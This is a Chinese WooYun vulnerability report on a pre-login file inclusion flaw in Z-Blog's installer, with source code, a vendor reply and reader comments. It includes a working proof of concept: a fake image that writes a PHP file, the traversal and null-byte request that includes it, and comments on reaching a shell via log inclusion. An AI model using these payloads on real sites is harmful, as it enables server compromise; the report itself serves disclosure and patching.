当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(55) 关注此漏洞

缺陷编号: WooYun-2015-98417

漏洞标题: Z-blog前台无需登录包含漏洞一枚

相关厂商: Z-Blog

漏洞作者: ′雨。认证白帽子

提交时间: 2015-02-27 14:59

公开时间: 2015-06-02 15:00

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

16人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

听说这个是大厂商? -.-
前台无需登录包含漏洞, 大概翻了一下 没看到好像能上传图片的地方。
没细看。 就这样了把。

详细说明:

http://**.**.**.**/zblogphp/ 下载地址



问题出现在zb_install/index.php中



我还注意看了一下 安装完成后 是写的啥提示

code 区域
安装结果
创建数据库!zblog
连接数据库并创建数据表!
创建并插入数据成功!
保存设置,编译模板成功!





提示的是这个 并没有提示用户要删除这个目录 而且也不会自动删除这个文件。

所以基本都是存在的。



code 区域
<?php
/**
* Z-Blog with PHP
* @author
* @copyright (C) RainbowSoft Studio
* @version 2.0 2013-07-05
*/

/**
* 安装程序
* @param
* @return array
*/

require '../zb_system/function/c_system_base.php';
require '../zb_system/function/c_system_admin.php';

header('Content-type: text/html; charset=utf-8');

define('bingo','<span class="bingo"></span>');
define('error','<span class="error"></span>');

$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];

$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];

$zblogstep=(int)GetVars('step');
if($zblogstep==0)$zblogstep=1;

if( ($zbp->option['ZC_DATABASE_TYPE']!=='') && ($zbp->option['ZC_YUN_SITE']=='') ){
$zblogstep=0;
}elseif( ($zbp->option['ZC_DATABASE_TYPE']) && ($zbp->option['ZC_YUN_SITE']) ){
if($zbp->Config('system')->CountItem()>0)$zblogstep=0;
}
?>





code 区域
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];

$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];





其实漏洞就是出现在这里。



code 区域
因为这段代码是出现在判断是否安装了之前, 所以 就算安装了 我们也可以走到这里。。





code 区域
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。

$zbp->LoadLanguage('system','',$zbloglang);//跟跟跟
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];





code 区域
public function LoadLanguage($type,$id,$default=''){
if($type=='system'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type=='plugin' || $type=='theme'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type!='' && $id!=''){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}
}







看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。



大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。



新建一个 yu.jpg

code 区域
<?php
fputs(fopen('testx.php','w'),'<?php phpinfo();?>');







$zbp->LoadLanguage('system','',$zbloglang);

$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);



因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。

所以我们直接fputs一个文件就行。



在根目录下。

code 区域
http://web/small/zblog/zb_install/index.php

zbloglang=../../yu.jpg%00

漏洞证明:

z1.jpg

修复方案:

这里应该对post来的zbloglang进行限制

in_array('en','zh' 之类的 限制只能包含那几个文件

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-02 15:00

厂商回复:

最新状态:

2015-03-09:非常感谢!确认晚了,着手处理中。

2015-03-09:非常抱歉,由于邮箱出现问题导致我们发现漏洞的时候已经晚了,进而平台自动忽略了本漏洞。近日将联系乌云对邮箱进行修改,非常感谢您的帮助!漏洞补丁已下发,详见http://blog.zblogcn.com/2015/03/09/79/。


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-02-27 15:04 | 浅蓝 ( 普通白帽子 | Rank:283 漏洞数:111 | 圈内最帅,没有之一)
    0

    好厉害

  2. 2015-02-27 15:09 | 10457793 ( 普通白帽子 | Rank:1047 漏洞数:165 | You are on my list!)
    0

    社工管理员加友情链接然后把logo发给他!

  3. 2015-02-27 15:50 | 大亮 ( 普通白帽子 | Rank:359 漏洞数:70 | 慢慢挖洞)
    0

    雨神,我要给你生个猴子。。

  4. 2015-02-28 08:40 | 小飞 ( 实习白帽子 | Rank:52 漏洞数:12 | 挖洞对于16岁的我来说实在是太艰难了!)
    0

    恩 好新奇的挖洞地点 对于这种逻辑顺序的洞我一直没感觉呢 学习了

  5. 2015-03-09 18:37 | Z-Blog(乌云厂商)
    0

    这个漏洞的利用价值似乎不太高,因为如果调用图片上传接口的会强制重命名,只有后台附件上传才会保存文件名。但是在这里显示出的对危险参数的检测才是不足之处。第二次犯这种错误(前次在ASP,同样是语言包) ,定当吸取教训。

  6. 2015-03-09 18:45 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @Z-Blog 啥重命名? zbloglang? 有点没看懂你说的 我默认配置测试的啦。

  7. 2015-03-09 21:48 | Z-Blog(乌云厂商)
    0

    @′雨。 是说上传入口啦

  8. 2015-04-16 12:35 | Hero ( 普通白帽子 | Rank:145 漏洞数:41 | 药药切克闹,充气娃娃迷幻药)
    0

    厂商萌萌的啦

  9. 2015-04-24 22:30 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    0

    @′雨。 这个是大厂商吗? 包含access_log不行?

  10. 2015-07-22 10:07 | 打酱油的小男孩 ( 路人 | Rank:0 漏洞数:1 | 俺也来乌云看看)
    0

    请问现在厂商在LoadLanguage函数里面加了过滤:$default = str_replace(array('/','\\'),'',$default);这样能绕过包含吗?

  11. 2015-08-21 22:40 | zsx ( 路人 | Rank:0 漏洞数:3 | undefined)
    0

    @打酱油的小男孩 我记得我这里重写过了

  12. 2015-09-25 07:34 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)
    0

    我就想知道知道能不能包含错误日志来getshell

登录后才能发表评论,请先 登录